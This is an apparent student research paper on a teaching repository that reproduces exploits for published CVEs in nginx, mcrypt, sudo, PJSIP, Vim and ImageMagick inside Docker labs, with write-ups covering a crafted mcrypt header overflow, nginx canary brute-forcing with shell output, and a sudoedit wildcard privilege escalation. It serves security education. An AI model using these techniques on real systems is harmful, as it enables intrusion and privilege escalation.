FROM CTF TO REALITY: Exploiting Real-World Programs with Foundational Hacking Skills

Lucas Ball

Abstract

The existing curriculum in vulnerability research and exploit development falls short in preparing students for real-world challenges. The disparity between classroom knowledge and industry-level exploit development hinders students' ability to apply their acquired skills effectively in professional settings. This project includes a complete learning environment attempting to expand on the current binary exploitation curriculum and provide a transition to the world of Common Vulnerabilities and Exposures (CVEs). The project has two primary objectives: expanding my knowledge of exploit development in the real world, and creating a foundation for the next generation of vulnerability researchers to explore vulnerabilities in the wild. This project will become open source and be provided to any student who wishes to bridge the gap between what they learn in class and what they might experience in their career as a vulnerability researcher.

1 Introduction

The ever-evolving landscape of Capture the Flag (CTF) competitions features programs specifically designed to be exploited. These custom-built programs are intentionally embedded with vulnerabilities for competitors to discover and exploit, creating a simulated yet highly educational environment. However, this setup can lack realism because the vulnerabilities are deliberately introduced, differing from the naturally occurring and unpredictable nature of real-world vulnerabilities. While this can make competitions enjoyable and challenging, they might not fully represent the complexities and nuances of real-world exploitation scenarios.

This project is an attempt to bridge the gap between CTF competitions and real-world exploit development. By utilizing known CVEs, this work demonstrates how skills honed in CTFs can be effectively transferred to real-world scenarios. The ultimate goal is not only to enhance my foundational skills in real-world exploitation but also to provide a robust foundation for aspiring exploit developers. This platform serves as a practical and educational tool, empowering them to confidently navigate real-world vulnerabilities. This paper details the process of building this platform, which connects the simulated environment of CTFs with the complexities of real-world exploitation. To accomplish this, the project includes the following primary objectives:

1. **Enhance Binary Exploitation Education.** This project aims to provide a learning environment for individuals seeking to understand advanced topics in binary exploitation. Each exploit is accompanied by a detailed write-up, offering a comprehensive walk-through of identifying the vulnerability, developing the exploit, and understanding how it was patched.

2. **Transition from Simulations to Real Life.** By bridging the gap between the simulated environments of CTFs and the unpredictable nature of real-world programs, this project aims to make foundational knowledge applicable in practical settings. Detailed explanations of the exploits and replication steps enable students to mimic the vulnerability discovery and exploit creation process.

3. **Deepen Personal Technical Knowledge.** One of the original primary objectives was to enhance my understanding of this process. By engaging hands-on with each vulnerability, I aim to learn the procedures that real vulnerability researchers follow to reverse engineer, debug, and exploit real-world programs. This objective supports the project's broader goal by ensuring the content reflects industry standards and realistic practices.

2 Background

The current education for vulnerability research and exploit development is minimal and significantly lags behind industry needs, as evidenced by the growing demand for skilled cybersecurity professionals and the persistent skill gaps reported in industry surveys and reports [25].

Individuals in the field have noted that motivation to understand binary exploitation is improved when presented with a CTF competition setting instead of a traditional educational setting [19]. After the data for that study was collected, the curriculum of the studied course was modified to introduce assignments as CTF challenges. This modified curriculum can aid in motivating the students and providing them with a realistic environment to practice.

CTF competitions allow individuals to learn about vulnerability research, reverse engineering, and exploit development. Top-tier competitions provide participants with expertly crafted programs designed to be "pwned" (a term commonly used in the cybersecurity community to mean gaining control or exploiting a system) to advance in the competition. These competitions provide hands-on experiences that are difficult to replicate in traditional educational settings.

For those earlier in the process of learning about binary exploitation or general cybersecurity, there are plenty of online resources to help start the process. Websites like Hack the Box [10] and TryHackMe [15] provide step-by-step tutorials with custom-built environments for practice, enabling newcomers to learn the basics of the subject. However, for binary exploitation, these websites primarily focus on foundational skills rather than advanced techniques applicable to real-world scenarios.

Additionally, resources created by CTF teams and independent vulnerability researchers, such as the pwnable.tw [13] website and how2heap GitHub repository [31], aim to expand on exploitation

skills by tackling complex vulnerabilities. Although these are controlled scenarios, they incorporate realistic elements to prepare students for vulnerability research.

While these online resources are extensive and beneficial for learning the fundamentals, they can miss the final step: real-world exploitation. CVEs are reports posted after vulnerabilities are discovered in publicly used programs [20]. The CVE reports are linked with a severity rating correlating to the amount of impact the vulnerability stands to have, as well as Proof of Concept exploits (PoCs). PoCs can often be minimal, demonstrating only the existence of the vulnerability, making them difficult to replicate. Consequently, the CTF learning style, which relies on simulated environments, can have difficulty addressing the intricacies of a real-world program due to the deliberate addition of vulnerabilities. This gap could result from the nature of CVE disclosures and PoCs, which lend themselves poorly to competition formats. Understanding the realities of a career in vulnerability research is crucial for students approaching graduation and entering the workforce. Thus, CVEs provide a valuable resource for aspiring vulnerability researchers to learn about the complexities of real-world programs.

3 Design

This Section describes the primary methodologies involved in the creation of this project. Each step of the process is crucial to creating an efficient workflow, enabling swift vulnerability enumeration and exploit creation. In this project, the process begins with a CVE reported in the National Vulnerability Database (NVD) [20]. These reports usually include detailed information about the vulnerability and often a PoC. This information allows researchers to understand the vulnerabilities and the methods used to discover them. Students can then build exploits and replicate the bug in a controlled environment. This process facilitates a comprehensive understanding of vulnerability exploitation and enables individuals to expand on existing PoCs to demonstrate the full potential of the exploits on target systems.

The project environment was designed to emulate the typical CTF setup to create a seamless transition from a CTF competition to a real-world scenario. The design involved using the same tools, scripts, and containerization programs used in CTF competitions. The Linux operating system was also used to maintain consistency between program environments. The primary distinction of this project is that the binaries and source code are obtained from public repositories of widely used programs and libraries.

For debugging purposes, GDB [28] was utilized with various enhancements to streamline the debugging experience on Linux. Since most of the vulnerable programs in this project are open source, reverse engineering the binaries was unnecessary. Docker [9] was chosen to create the program environments. Using Dockerfiles, scripts containing instructions for building the program containers, an iterative design process was enabled, ensuring consistent replication across systems.

Exploits were developed using the Python programming language and the pwntools [21] library, which provided all the necessary tools for creating and deploying payloads. In some scenarios, bash scripting was also utilized to assist in creating exploits.

To make this project accessible to the public, a repository was created on GitHub to host the write-ups and project files [17]. One key lesson from the design process is that each vulnerable program is unique, making it necessary to have a flexible toolset to address the specific challenges of each exploit.

4 Implementation

This Section details the practical application of the methodologies described in Section 2. It covers the steps taken to create this project, including setting up a usable testing environment, analyzing and selecting viable CVEs to fit with the project, and then debugging and writing the exploits. Each step presented challenges requiring continuous improvements to achieve the project objectives.

4.1 Environment Creation

The first and most important part of the process was the environment setup. Each program to be exploited had different dependency requirements, making it essential to research these dependencies thoroughly. For each CVE, the report date was reviewed to emulate the environment present when the vulnerability was discovered. Debian and Ubuntu were chosen as the base Linux distributions due to their long-term availability and support, which proved helpful when debugging unknown operating system or compilation issues. The necessary libraries for compiling each program were often outdated, necessitating a downgrade to an older distribution version. For instance, CVE-2013-2028 is a vulnerability in Nginx [11] version 1.3.9. The libraries this version requires are outdated and incompatible with modern versions of Ubuntu, requiring a downgrade to Ubuntu 16.04.

The next step was to compile the software, ensuring the use of proper compiler flags to maximize the chances of developing a successful exploit. The compiler used to compile most of these programs was gcc [22], but each project's requirements differed, making it necessary to use GNU-Make [23]. This software allows the program developers to specify all of the compiler flags and necessary setup steps for compilation in a simple specification script called a Makefile. In order to compile the programs for a better exploitation experience, extra compiler flags could be added to the Makefile.

For vulnerabilities involving stack overflow, adding the `-fno-stack-protector` flag during compilation disables stack canaries—protective mechanisms that detect and prevent buffer overflow attacks. Disabling stack canaries allows the exploit developer to manipulate the stack without triggering these security features, increasing the likelihood of successfully exploiting the vulnerability. Compiling the program with the `-fsanitize=address` flag is helpful for heap object manipulation vulnerabilities, as it raises errors when objects become corrupted within the program's memory. Additionally, reviewing the compiler flags used by the original researcher can provide insights into how the exploit was initially achieved.

Finally, a debugger was used to analyze memory and step through the program one instruction at a time. GDB was utilized with the `pwndbg` [29] add-on, which provides a detailed view of the program's context at each instruction, facilitating the identification of vulnerabilities. However, for some programs, the outdated operating systems required for compilation made it impossible

to install pwndbg. In these cases, the `gdb-dashboard` [18] add-on created by Andrea Cardaci on GitHub was used to facilitate the debugging process. This alternative provided sufficient information to understand the program's memory behavior.

Using the methods above, a Docker container for each CVE in the project was created to emulate the relevant environment. Unfortunately, no single container could accommodate all dependencies due to their mismatched requirements. However, this process of creating individual containers provided a robust solution for analyzing and exploiting vulnerabilities listed in the NVD.

4.2 Vulnerability Analysis

Identifying vulnerabilities in the NVD and selecting viable candidates was a challenging process that involved various selection criteria to ensure relevance to the project. Since one main objective was to facilitate a transition from CTF competitions to real-world exploitation, choosing vulnerabilities that mimic those commonly found in CTF competitions was necessary.

Here is the current list of vulnerabilities present in the project repository:

CVE #	Bug Type	Program	Version
CVE-2012-4409	Stack Buffer Overflow	Mcrypt	2.6.8
CVE-2013-2028	Stack Buffer Overflow	nginx	1.4.0
CVE-2015-5602	Logic Bug / Path Parsing	Sudo	1.8.14
CVE-2017-16872	Heap Buffer Overflow	PJSIP	2.7.0
CVE-2017-7938	Stack Buffer Overflow	Dmitry	1.3a
CVE-2019-14287	Integer Underflow	Sudo	1.8.27
CVE-2022-3296	Stack Buffer Overflow	Vim	9.0.0576
CVE-2022-44268	Logic Bug / Image Parsing	ImageMagick	7.1.0-49

One of the more common vulnerabilities in CTF competitions is the stack buffer overflow vulnerability. Although these vulnerabilities are rare in modern software due to automated buffer-checking tools like Address Sanitizer [24], they were prevalent in the past before such tools existed. Stack buffer overflows are fundamental concepts in binary exploitation [26], making their inclusion in this project essential. For example, CVE-2013-2028 [2] is a notable stack buffer overflow vulnerability that allows an attacker to overwrite critical portions of memory, leading to control flow hijacking. With the potential for complete remote code execution (RCE), this makes it an

excellent candidate for demonstrating stack buffer overflow vulnerabilities. Other examples of buffer overflows included in the continuously expanding project are:

1. **CVE-2012-4409:** [1] A stack overflow in the Mcrypt program is caused by the improper parsing of file headers in encrypted files.

2. **CVE-2017-7938:** [5] A buffer overflow in the argument parsing code of the Dmitry program allows for an overflow of the argument buffer.

3. **CVE-2022-3296:** [7] This was a vulnerability in the scripting language built into the Vim program, allowing a local attacker to underflow the call stack by running specially crafted scripts.

Advanced topics in binary exploitation include heap corruption, which can be challenging to address even in the simulated environments of CTF competitions. Due to the nuances of heap memory allocation across different systems, it is essential to replicate the original research environment as closely as possible. An example of heap corruption described in this project is CVE-2017-16872 [4]. This vulnerability in the PJSIP [12] program enabled remote attackers to trigger a denial of service through a heap object corruption bug. The exploit leveraged a flaw in the utility functions of PJSIP, tricking a custom heap allocation implementation into overwriting its own object. Given that this program is likely used in phone systems worldwide, the potential for a denial of service makes this a high-severity vulnerability.

Some vulnerabilities do not fall into the memory corruption category but are still relevant to binary exploitation. These vulnerabilities, often called "logic bugs," exploit small errors in the original code, leading to significant consequences on the host machine. Some of the highest severity logic bugs are found in privilege escalation programs like Sudo [14], which allows users to execute code as other users. In CVE-2019-14287 [6], an integer underflow error causes the `UID` of a given user to be interpreted as the "root" user, or `UID 0`. This vulnerability enables attackers to escalate privileges and execute any program on the victim file system. Other logic bugs exploited in this project include:

1. **CVE-2015-5602:** [3] A vulnerability in how the Sudo program parses the path for allowed binaries in the configuration file. This vulnerability allowed users to execute arbitrary files as the root user by symbolically linking the binaries to an allowed path in the filesystem.

2. **CVE-2019-14287:** [6] An integer underflow bug in the Sudo program that would allow users to run specified binaries as `UID -1` if the configuration specified that they were allowed to run as any user besides root. This `UID -1` would then be interpreted as `0` after being parsed, causing the user to run the binary as the root user.

3. **CVE-2022-44268:** [8] An issue with the PNG parsing code of the ImageMagick program meant it would include the contents of an arbitrary file given the file path in the `"profile"` section of the provided image. This would allow attackers to arbitrarily read any file on a remote system if the ImageMagick program is used.

4.3 Exploit development and debugging

This stage is where the exploitation work is conducted. The preparation in the previous stages ensures that the environment is correctly set up to facilitate successful exploitation. The final step involves opening the program in the debugger to analyze the behavior and identify the cause of the vulnerability. Enabling debugging symbols during compilation allows for a more efficient workflow by enabling breakpoints at specific points in the program where vulnerabilities are reported. An iterative process of modifying and testing payloads can be employed by observing how the program parses user input.

Many common exploit techniques used in CTF competitions also apply to real-world settings. For example, Return Oriented Programming (ROP) [30] involves overwriting the return address within a vulnerable function, allowing the attacker to redirect the program's control flow to a different location in executable code, enabling arbitrary code execution. Another technique, shellcoding [27], involves writing assembly instructions into executable memory and forcing the program to jump to that location, allowing the attacker to execute any desired instructions. These are two foundational exploitation techniques utilized by exploit developers and CTF competitors.

The exploits in this project could achieve two levels of attack: Denial of Service (DoS) and Remote Code Execution (RCE). In CTF competitions, the goal is typically to obtain RCE on the remote host. However, it is rare to see RCE examples in CVE reports, as vulnerability researchers aim to prove that a vulnerability exists instead of developing its exploit. This difference became evident during the creation of this project. Consequently, many of the exploits created are examples of DoS due to the nature of the vulnerabilities. In many cases, the reported vulnerability lists RCE as a potential exploit path, but achieving that level of exploitation can require a chain of exploits. For example, in CVE-2013-2028 [2], the initial vulnerability was a buffer overflow. However, the program was usually compiled with a stack canary (also called a stack cookie) to detect a buffer overflow and kick the attacker out before damage occurs. The problem with this program was that the buffer overflow occurred in a forked process, meaning the stack canary was the same during each concurrent connection. In turn, the remote attacker could brute force the stack canary's value to continue with the control flow hijacking. This exploit chain shows how the implementation of an exploit can go much further than the initial vulnerability report describes. It also demonstrates how exploitation can extend beyond the initial vulnerability to achieve full RCE.

5 Results and Discussion

This Section will describe notable results from the attempts to create exploits for the selected vulnerabilities. There were many learning opportunities throughout the implementation, turning this endeavor into a valuable experience. Understanding various nuances within each vulnerability was crucial to creating each exploit and discovering higher-severity exploit paths. Many of the nuances are described by the write-ups found in this paper's appendix 8.

One of the goals of the project was to create a usable environment for practicing the exploits throughout the repository. As a result, I set out to make a Docker container that could be used for

each of the programs. This Docker container had to be able to handle the process of compiling, running, and debugging each of the programs. What I discovered instead was that each of the programs required unique packages and different versions of those packages depending on the age of the vulnerability. As a result, I created a unique Dockerfile for each CVE, listing all of the dependencies for the program to keep the container size small while maintaining all of the desired capabilities. To maintain consistency in as many variables as possible, I created a template container that can be used to generate containers for future CVEs. Using docker containers to run and debug the programs was not always helpful. For example, in situations involving graphical programs, it was often difficult to get the necessary display environment variables set inside the containers. Instead, I found it helpful to have a virtual machine at my disposal to provide a self-contained environment for the vulnerability while maintaining as many features as possible from a standard operating computer. Using the virtual machine sparingly was essential as many programs require different versions of Linux to compile successfully. The experience of addressing these technical challenges has not only enhanced the repository's utility but also deepened my understanding of the subject matter. The need for a virtual machine for each version of Linux was deemed impractical, leading to the adoption of a more flexible option, such as a Docker container, to accommodate the older versions. While Docker containers provided a streamlined approach to templating the environment of the programs, the unique challenges posed by some of the graphical programs required the occasional use of a more flexible option, such as a virtual machine. The insights gained from these experiences have significantly enriched my understanding and mastery of the subject matter.

In the vulnerability tagged CVE-2017-7938 [5], the initial exploit did not yield valuable results. The effect of the buffer overflow on the stack was diminished by the fact that an error would be thrown when this buffer was tampered with. Instead, another vulnerability could be exploited in the same release version. While the reported vulnerability could cause a crash by overflowing the argument buffer, a format string vulnerability was found in the parsing of the program arguments, which allows an attacker to utilize custom format strings to read or write to arbitrary locations in program memory. As a result, I was able to create an exploit that crashed the program by arbitrarily corrupting the stack. The difference with this second vulnerability was that the arbitrary write, enabled by the format string vulnerability, allowed for control flow to be intentionally modified. It was concluded that further exploitation would require another attack vector to create a valid exploit chain and achieve full RCE. This can be expanded upon during future practice by taking advantage of various exploit techniques learned in CTF competitions and elsewhere.

In the case of CVE-2017-16872 [4], the vulnerability was well described by the researcher who found it in the first place. [16] The replication steps were poorly defined, making it a valuable vulnerability to add to the project. The vulnerability itself was a programming error caused by the original developers of the PJSIP program. They implemented their version of the `utoa()` function, which converts an unsigned int to the string equivalent of that number. This led to a relaxed use of this function, which would result in the conversion of an integer to a long one using a sign extension. In turn, the integer value had the potential to create a much larger string than intended allowing for an overflow of the buffer. The vulnerability report showed that the program allocated a heap block of 760 bytes for the object containing this buffer. A much larger heap block was allocated in the

replicated environment to create the objects referenced during the exploit. It also only showed proof that the exploit would cause a DoS in the program. Upon further examination, it appeared that the replicated exploit would overwrite a reference pointer in the heap. In the right conditions, this could enable a false object to be created in memory, which could be referenced using this method. Since this vulnerability is exclusive to this single heap overflow, the exploit appears restricted to a DoS. The most impressive part of this vulnerability was that it was all enabled by a sign extension that occurs during the conversion of the integer type to the long type. Minor bugs like that are what make this vulnerability a valuable learning experience. Much like a CTF challenge, it takes a seemingly minor programming issue and turns it into a high-severity vulnerability.

Another notable example is CVE-2013-2028. This vulnerability is an 11-year-old vulnerability in the Nginx web server program. Since it is old, this program required an old version of Linux (Ubuntu 16.04) to compile the program correctly. This made the exploitation process complex due to some debugging tools not functioning on this old version of Ubuntu. The exploit for this vulnerability takes advantage of some of the more common exploitation techniques often found in CTF challenges like ROP or Shellcoding. Going through this exploit is a great way to introduce the idea that these exploitation techniques are often seen in simulated environments existing in well-known programs like the Nginx web server. Similar to its effect on me, the process of understanding this vulnerability and writing the exploit can give learners the experience and confidence necessary to tackle the more advanced vulnerabilities that we see today.

These examples show that there is plenty to learn from each CVE through the process of replication. Not only does this process provide practice and experience, but it also allows for the possibility of discovering new capabilities and exploitation paths. As the project repository expands, the vulnerabilities will get more advanced, allowing for a natural flow from the exploitation techniques seen in an average CTF competition to a more sophisticated set of exploitation techniques that one might see in the real world.

6 Implications and Future Work

6.1 Implications

This project contributes to the field of cybersecurity by creating a training ground for individuals interested in exploring real-world vulnerabilities. By bridging the gap between simulated CTF environments and unpredictable real-world scenarios, the platform developed here empowers learners to actively engage with the programs and understand how the vulnerabilities work in a realistic setting. This provides hands-on experience with real-world systems, allowing participants like myself to prepare for a role in the field of vulnerability research.

The project can also be implemented into the curriculum of cybersecurity classes as a way to explore high-level vulnerabilities in practice. It will also be shared with the Security Club at Oregon State University to provide students with an advanced practice environment and give CTF competitors a better idea of how they can apply their skills. The repository also stands to be expanded with more advanced CVEs, allowing for a continuously improving practice environment

for anyone.

6.2 Limitations

During the implementation of the project, one critical obstacle encountered was the minimal proof and explanation given by the PoCs and vulnerability reports, showing only high-level exploit paths in the program. These high-level paths are often impractical to exploit once put into practice. This made obtaining RCE, like in a CTF challenge, extremely hard, if not impossible. However, the goal of this project was not to turn CVEs into CTF challenges but to take what is known from CTF experience and apply it to a practical setting. This goal was maintained despite the noted limitations, ensuring the project remains valuable for its purpose.

6.3 Future Work

The future of this project could go in several directions:

- CVEs only require proof that an exploit is possible, making the various exploit paths merely theoretical. Further exploration of the vulnerabilities could reveal whether or not these paths are practical.
- Investigating a single program for multiple CVEs is another possible path. This could enable the prospect of exploit chains that can lead to RCE. For example, if one exploit enables arbitrary reading from memory and another allows arbitrary writing, the attacker could combine them for complete control flow hijacking.
- Learning about how researchers use automated tools like the American Fuzzy Lop (AFL) to discover vulnerabilities could be a fruitful area of exploration. It could further the project's work by integrating the toolset into the previously described exploitation process.
- Continuing work on the more advanced vulnerabilities and exploit techniques would be an excellent way to show this increased sophistication of modern exploits. It would also pave the way to discovering and exploiting vulnerabilities in modern, complex programs like web browsers or entire operating systems.

7 Conclusion

This project set out to fill the void between the simulated environment of CTF competitions and the practical vulnerability research and exploit development found in the real world. By creating a foundational process for exploring CVEs from the NVD, this work allows aspiring vulnerability researchers to take what they learned in CTF competitions and apply them to more realistic programs. This work allows for a research-centered approach to offensive security allowing for a smooth transition from an educational setting to a more practical setting. Looking forward, there

is considerable opportunity for expanding this project to cover a much larger set of vulnerabilities and exploit techniques. These efforts would continue to improve the impact that the project stands to offer students in the field. It is hoped that this project will inspire further research and development in this field, continuing to close the gap between academic, simulated environments and the practical application of vulnerability research in the real world. [32]

References

[1] CVE-2012-4409. https://nvd.nist.gov/vuln/detail/CVE-2012-4409, . Accessed: 2024-05-10.

[2] CVE-2013-2028. https://nvd.nist.gov/vuln/detail/CVE-2013-2028, . Accessed: 2024-05-10.

[3] CVE-2015-5602. https://nvd.nist.gov/vuln/detail/CVE-2015-5602, . Accessed: 2024-05-10.

[4] CVE-2017-16872. https://nvd.nist.gov/vuln/detail/CVE-2017-16872, . Accessed: 2024-05-10.

[5] CVE-2017-7938. https://nvd.nist.gov/vuln/detail/CVE-2017-7938, . Accessed: 2024-05-10.

[6] CVE-2019-14287. https://nvd.nist.gov/vuln/detail/CVE-2019-14287, . Accessed: 2024-05-10.

[7] CVE-2022-3296. https://nvd.nist.gov/vuln/detail/CVE-2022-3296, . Accessed: 2024-05-10.

[8] CVE-2022-44268. https://nvd.nist.gov/vuln/detail/CVE-2022-44268, . Accessed: 2024-05-10.

[9] Docker. https://www.docker.com/. Accessed: 2024-05-10.

[10] Hack the box. https://www.hackthebox.com/. Accessed: 2024-05-10.

[11] Nginx. https://www.nginx.com/. Accessed: 2024-05-10.

[12] Pjproject - pjsip open source sip stack. https://github.com/pjsip/pjproject. Accessed: 2024-05-10.

[13] Pwnable.tw. https://pwnable.tw/. Accessed: 2024-05-10.

[14] Sudo project. https://www.sudo.ws/. Accessed: 2024-05-10.

[15] Tryhackme. https://tryhackme.com/. Accessed: 2024-05-10.

[16] Y. Ando. Buffer overflow in pjsip, a voip open source library, 2019. URL https://engineering.linecorp.com/en/blog/buffer-overflow-in-pjsip-a-voip-open-source-library. Accessed: 2024-05-14.

[17] L. Ball. Exploitables, 2024. URL https://github.com/lucasballr/exploitables. Accessed: 2024-05-14.

[18] A. Cardaci. Gdb dashboard. https://github.com/cyrus-and/gdb-dashboard. Accessed: 2024-05-10.

[19] H. Chen, Z. Zhang, J. Yu, C. Zhao, M. Zhang, Z. Zhou, and J. He. The design and implementation of cyber-physical system capture the flag competition: An industrial control system security study, 2022. URL https://dl.acm.org/doi/pdf/10.1145/3502718.3524806.

[20] N. V. Database. Nvd - home. https://nvd.nist.gov/. Accessed: 2024-05-10.

[21] G. et al. Pwntools documentation. https://docs.pwntools.com/en/stable/. Accessed: 2024-05-10.

[22] GCC Development Team. Gnu compiler collection (gcc). https://gcc.gnu.org/. Accessed: 2024-05-17.

[23] GNU Project. Gnu make. https://www.gnu.org/software/make/. Accessed: 2024-05-17.

[24] Google. Addresssanitizer, 2024. URL https://github.com/google/sanitizers/wiki/AddressSanitizer. Accessed: 2024-05-14.

[25] ISC2. Isc2 reveals workforce growth but record-breaking gap: 4 million cybersecurity professionals, October 2023. URL https://www.isc2.org/Insights/2023/10/ISC2-Reveals-Workforce-Growth-But-Record-Breaking-Gap-4-Million-Cybersecurity-Professionals. Accessed: 2024-05-14.

[26] G. Khawaja. *Buffer/Stack Overflow*, pages 369–388. 2021.

[27] J. Mason and S. Small. Understanding security errors in an interactive ctf competition, 2017. URL https:

//www.cs.jhu.edu/~sam/ccs243-mason.pdf.

[28] G. Project. Gdb: The gnu project debugger. https://www.sourceware.org/gdb/. Accessed: 2024-05-10.

[29] Pwndbg. Pwndbg: Exploit development and reverse engineering with gdb made easy. https://github.com/pwndbg/pwndbg. Accessed: 2024-05-10.

[30] H. Shacham. The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86). https://hovav.net/ucsd/dist/rop.pdf. Accessed: 2024-05-10.

[31] Shellphish. How2heap. https://github.com/shellphish/how2heap. Accessed: 2024-05-10.

[32] M. Zalewski. American fuzzy lop. http://lcamtuf.coredump.cx/afl/, 2014. Accessed: 2024-05-24.

8 Appendices

The following are the various write-ups from the project that have been mentioned throughout this paper. These write-ups explain the vulnerability, the exploit, how the developers patched it, and some of the learning outcomes from attempting the exploit.

8.1 CVE-2012-4409

The Vulnerability. This vulnerability is interesting to understand. The mcrypt utility is an old utility that was meant for encrypting and decrypting files. The default functionality is to use the rijndael-128/cbc mode algorithm to encrypt any file with the password of your choosing. This functionality does not matter since the exploit is in the decryption functionality of the program.

The vulnerability is specifically in the `check_file_head()` function that is ran by the program in order to read an encrypted file. The file head includes all of the necessary information for the program to understand what mode the file is encrypted in and what algorithm it uses. The head of the file looks something like this: `b'\x00m\x03rijndael-128\x00\x20\x00cbc\x00mcrypt-sha1\x00'`

The first 3 bytes must be `\x00\x64\x03` which is essentially the magic bytes for the mcrypt encrypted file format. Then the next section will have the algorithm used for encryption followed by a `\x00`. Then a space followed by the mode of the algorithm. All of this is specified in the source code and each section is parsed one-by-one using the `read_until_null` function which just reads from a file descriptor until it reaches a NULL byte. At the end of this is special byte that will show up after the `mcrypt-sha1\x00`. This next section is specifying the length of the salt used during encryption so the decryptor knows how much to read. The normal maximum length of a salt should never be more than 64 bytes, but the `tmp_buf` that the program uses to read the salt string into is 101 bytes. If there is a bounds check for the salt size, this is fine, but this is where the vulnerability lies in the program. The example code for this can be seen below: The salt size or `sflag` never gets bounds checked. This means that an attacker could create a malicious file that

```
fread(&sflag, 1, 1, fstream);
if (m_getbit(6, flags) == 1) { /* if the salt bit is set */
    if (m_getbit(0, sflag) != 0) { /* if the first bit is set */
        *salt_size = m_setbit(0, sflag, 0);
        if (*salt_size > 0) {
            fread(tmp_buf, 1, *salt_size,
                fstream);
            memmove(salt, tmp_buf, *salt_size);
        }
    }
}
```

masquerades as an mcrypt encrypted file, but has an extremely large `sflag` byte making the program read more bytes than the size of the `tmp_buf`. This would effectively overflow the stack.

The Exploit. The exploit is relatively straightforward after understanding the functionality of the vulnerability. The logical step is to create a file that passes all the checks when being parsed and gets the program to the piece of code that is specified above. The byte string shown above works as a base, but can be replaced with any string of characters. The next step is to add in one more byte in the string to specify the `sflag`. For this, the largest possible byte (`\xff`) was chosen to allow for the maximum read size. Then, `tmp_buf` needs to be filled with 101 random bytes. The exploit adds a few more random bytes to accommodate for some extra variables. Then, in a normal situation, the stack could be overwritten with `0xff-101` bytes allowing the attacker to overwrite the return address of the `check_file_head()` function. This is exactly what my replicated exploit did, but with a few caveats:

1. The return address was the only thing I was able to overwrite making it only viable to use something like a `one_gadget`.
2. None of the single jump-to locations would yield beneficial results towards getting a shell. Nonetheless, I went through with it. The exploit here will run any arbitrary piece of code in the binary making it entirely possible to pop a shell.

Issues with the exploit. I had to use `-D_FORTIFY_SOURCE=0` in the makefile in order to disable the modern Fortify which was not applied when this vulnerability was found. I also had to disable the stack canary which may have been used during normal compilation at the time.

The original vulnerability was found using 32-bit compilation making this updated version slightly different. This only allows for an 8-byte overflow making it extremely difficult to actually exploit this program. Due to the old nature of this version of mcrypt, it appears as though a full RCE exploit is not able to be made.

Other Issues. One of the problems with diving into older real-world vulnerabilities is the dependency issue. Often, it is possible to compile any program with the same environment as the original vulnerablity. Once the vulnerability is 10 years old, though, it becomes less viable. 10 years is about the length of LTS support, so anything older than that has the chance of not being supported. This makes it hard to replicate these older vulnerabilities. In this case, the program was originally exploited on a 32-bit machine with certain compiler flags to make it specifically vulnerable to a full chain exploit. The modern-day version of this exploit is slightly more difficult to create, but still shows that this vulnerability was critical.

Running the exploit. The first step, as always, is to build the docker container with `docker build -t cve-2012-4409 .` Then, run it making sure to mount the current directory: `docker run -it -v $(pwd):/tmp/ cve-2012-4409`. Then, run `mcrypt -d /tmp/some.nc` in order to initiate the exploit that was created by e.py. It's entirely possible to modify the file and try different return addresses by changing the payload string in the `e.py` file that creates the payload file. This will create a new some.nc file that can be used in the container.

Further work. This exploit can be expanded upon, taking advantage of 2 different exploit strategies: ROP, and base pointer poisoning. Since the capability of the exploit is restricted to overwriting the return address, potentially the next logical step is to go after the parent function of `check_file_head()`. Then building a ROP chain from that could send the program to a `one_gadget` with a higher chance of gaining full RCE.

8.2 CVE-2013-2028

The vulnerability. This is a stack overflow vulnerability in the nginx web server version 1.4.0. This works by taking advantage of a bug in the `http_parse_chunked()` function that was newly added in this version of nginx. The format of a chunked request is supposed to look like this:

```
size \r\n
data \r\n
size \r\n
data \r\n
...
```

Where each data section is prepended by the size of it. The issue that ended up causing the vulnerability was the ability to add extremely large data sections. If the request had a size that was extremely large, the program would not have the stack space for the request data resulting in a stack overflow. This exploit takes advantage of this stack overflow in order to create a full chain exploit to get a shell on the web server host.

Testing this exploit. To test this out, the first step is to build the container with this docker build command:

```
cd CVE-2013-2028
docker build -t cve-2013-2028 .
```

Then the docker container needs to be run in privileged mode in order to properly access the host system's network.

```
docker run -d --privileged --name testing cve-2013-2028:latest
```

The next step is to find the container IP address (this step can be skipped it port 80 was forwarded in the previous step).

```
docker inspect testing | grep "IPAddress"
```

Then the exploit can be ran with this command:

```
./e.py <IPAddress> 80
```

This is what the exploit output looks like:

```
./e.py 172.17.0.2 80
[*] '/home/lucasballr/cyber/exploitables/CVE-2013-2028/nginx'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    FORTIFY:    Enabled
    Stripped:   No
    Debuginfo:  Yes
Brute Forcing the stack cookie
BYTE 204 FOUND
BYTE 225 FOUND
BYTE 185 FOUND
BYTE 162 FOUND
BYTE 15 FOUND
BYTE 117 FOUND
BYTE 233 FOUND
BYTE 0 FOUND
Canary found:  b'\xcc\xe1\xb9\xa2\x0fu\xe9\x00'
Press enter to exploit
sh: turning off NDELAY mode
YOU HAVE BEEN PWNED
$
```

Notes. This was all debugged and written by hand using the custom docker container with nginx built without a stack cookie. This meant that the ROP chain had to be rebuilt when the exploit was ran with a stack cookie. In the end, this exploit taught me a lot about the process of debugging a program and building a full chain exploit.

Alternative exploit. There was an alternative version of this exploit that was created just for the purpose of causing a DoS on the nginx server. If the request size was a negative number, the chunk parser would interpret this as a massive size, but instead of overflowing the stack, it would cause a DoS in the parent program. This is likely due to an indefinite hang in the socket that gets opened by the connection to the server.

The patch. A patch was added in the next version of nginx that would read the size of the chunk and make sure it was larger than 0 and smaller than the max chunk size. This prevented both exploits and ensured stack integrity.

8.3 CVE-2015-5602

This is a path parsing issue with the Sudo program. It is not a remote code execution vulnerability directly, but it allows for privilege escalation on the local host.

The Vulnerability. This vulnerability is described here: https://bugzilla.sudo.ws/show_bug.cgi?id=707. The concept of the vulnerabilty is based on the bug where, by adding two wildcards in the path for a file that is defined as editable in sudoedit, a user can create a symlink to a file they do not have permissions to access. Then, they can access it using the parsing vulnerability. As stated in the vulnerability report, best practice would be to not allow users to run things as root if they have write permissions, but this is something that a system administrator could configure as a mistake.

The Expliot. The exploit is based on the entry in the `/etc/sudoers` file. Essentially it looks like this:

```
1 testuser ALL=(root) NOPASSWD: sudoedit /*/*/test.txt
```

